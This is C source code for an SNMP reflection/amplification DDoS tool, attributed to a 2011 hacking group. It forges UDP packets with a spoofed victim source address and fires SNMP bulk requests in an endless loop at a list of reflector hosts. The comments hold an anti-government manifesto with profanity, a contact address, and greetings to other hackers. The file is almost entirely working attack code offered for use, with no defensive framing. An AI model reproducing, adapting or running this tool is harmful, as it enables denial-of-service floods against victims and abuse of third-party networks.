*
Exploit Title: SNMP  Refelector DDOS
Date:          9:2:11
Author:        Hex00010
Tested on: Comcast  Modems
Contact:  uat666@hotmail.com
*/



#include <stdio.h>
#include <netinet/ip.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/udp.h>
#include <string.h>
#include <stdlib.h>
#include <errno.h>
#include <sys/types.h>
#include <asm/types.h>

/*
	The Government is a Corrupted Organization
	We are here to show the world  the truth about them
	You dont like it  - go fuck your self
	Anarchy For Life Bitch
	===============================================================================
	THIS CODE IS MEANT TO STAY PRIVATE - DO NOT SHARE WITH ANYONE - It Is Now Public  you Can repost this BUT give Credits
	===============================================================================	
	by Hex00010 - TeaMp0ison - 2011


*/

char payload[] = \"\x30\x23\x02\x01\x01\x04\x06\x70\x75\x62\x6c\x69\x63\xa5\x16\x02\x02\x4e\x47\"
\"\x02\x01\x00\x02\x02\x08\xca\x30\x09\x30\x07\x06\x03\x2b\x06\x01\x05\x00\";

 struct iphdr ip_head;
 struct udphdr udp_head;
 struct sockaddr_in target;

 struct udp_pseudo        /*the udp pseudo header*/
 {
  unsigned int src_addr;
  unsigned int dst_addr;
  unsigned char  dummy;
  unsigned char  proto;
  unsigned short length;
 } pseudohead;

 struct help_checksum   /*struct for checksum calculation*/
 {
  struct udp_pseudo pshd;
  struct udphdr udphd;
 } udp_chk_construct;

unsigned short in_cksum(unsigned short *addr,int len)
{
 register int nleft=len;
 register unsigned short *w=addr;
 register int sum=0;
 unsigned short answer=0;

 while(nleft>1)
  {
   sum+=*w++;
   nleft-=2;
  }
 if(nleft==1)
  {
   *(u_char *)(&answer)=*(u_char *)w;
   sum+=answer;
  }
 sum=(sum >> 16)+(sum & 0xffff);
 sum+=(sum >> 16);
 answer=~sum;
 return(answer);
}

void send_udp(int sfd,unsigned int src,unsigned short src_p,
             unsigned int dst,unsigned short dst_p,char *buffer,int len)
{
 char *packet;
 int i;

 /*Prepare IP header*/
 ip_head.ihl      = 5;     /*headerlength with no options*/
 ip_head.version  = 4;
 ip_head.tos      = 22;
 ip_head.tot_len  = htons(sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1);
 ip_head.id       = htons(30000 + (rand()%100));
 ip_head.frag_off = 0;
 ip_head.ttl      = 64;
 ip_head.protocol = IPPROTO_UDP;
 ip_head.check    = 0;    /*Must be zero for checksum calculation*/
 ip_head.saddr    = src;
 ip_head.daddr    = dst;

 ip_head.check    = in_cksum((unsigned short *)&ip_head,sizeof(struct iphdr));

 /*Prepare UDP header*/
 udp_head.source = htons(src_p);
 udp_head.dest = htons(dst_p);
 udp_head.len   = htons(sizeof(struct udphdr)+sizeof(payload)-1);
 udp_head.check   = 0;

 /*Assemble structure for checksum calculation and calculate checksum*/
 pseudohead.src_addr=ip_head.saddr;
 pseudohead.dst_addr=ip_head.daddr;
 pseudohead.dummy=0;
 pseudohead.proto=ip_head.protocol;
 pseudohead.length=htons(sizeof(struct udphdr)+sizeof(payload)-1);
 udp_chk_construct.pshd=pseudohead;
 udp_chk_construct.udphd=udp_head;
 packet=malloc(sizeof(struct help_checksum)+sizeof(payload)-1);
 memcpy(packet,&udp_chk_construct,sizeof(struct help_checksum)); /*pre-assemble packet for*/
 memcpy(packet+sizeof(struct help_checksum),buffer,sizeof(payload)-1);         /*checksum calculation*/
 udp_head.check=in_cksum((unsigned short *)packet,sizeof(struct help_checksum)+sizeof(payload)-1);
 free(packet);

 /*Assemble packet*/
 packet=malloc(sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1);
 memcpy(packet,(char *)&ip_head,sizeof(struct iphdr));
 memcpy(packet+sizeof(struct iphdr),(char *)&udp_head,sizeof(struct udphdr));
 memcpy(packet+sizeof(struct iphdr)+sizeof(struct udphdr),buffer,sizeof(payload)-1);

 /*Send packet*/
 target.sin_family     = AF_INET;
 target.sin_addr.s_addr= ip_head.daddr;
 target.sin_port       = udp_head.source;
 sendto(sfd,packet,sizeof(struct iphdr)+sizeof(struct udphdr)+sizeof(payload)-1,0,
                    (struct sockaddr *)&target,sizeof(struct sockaddr_in));
 free(packet);
}

int main(int argc, char *argv[]) {
	int i=0;
	unsigned int srcip, dstip;
	char *data;
	data=malloc(sizeof(payload)+sizeof(payload)-1);
	memcpy(data, payload, sizeof(payload)-1);
	char* aline = calloc(16, sizeof(char) );

	if(argc < 3) {
		printf(\"By  Hex00010 - TeaMp0ison - 2011\n\", argv[0]);
		exit(1);
	}

	if((i=socket(AF_INET,SOCK_RAW,IPPROTO_RAW))<0)  /*open sending socket*/
	{
		perror(\"socket\");
		exit(1);
	}

	for(;;) {
		FILE* fp = fopen( argv[2], \"r\" );
		/* skip fopen checking because its not really necessary for what we're doing*/

		while ( !feof(fp) )
		{
			fscanf( fp, \"%s\n\", aline );
			srcip = inet_addr(argv[1]);
			dstip = inet_addr(aline);
			send_udp(i,srcip,161,dstip,161,payload,sizeof(payload)-1);
			memset( aline, 0, 16 );
		}
		fclose(fp);
	}
	return 0;
}

/*
Greetz:  Trick aka SayWhat? , Luit , Ins^ane,  joepie91, Sabu , Anonymous 
*/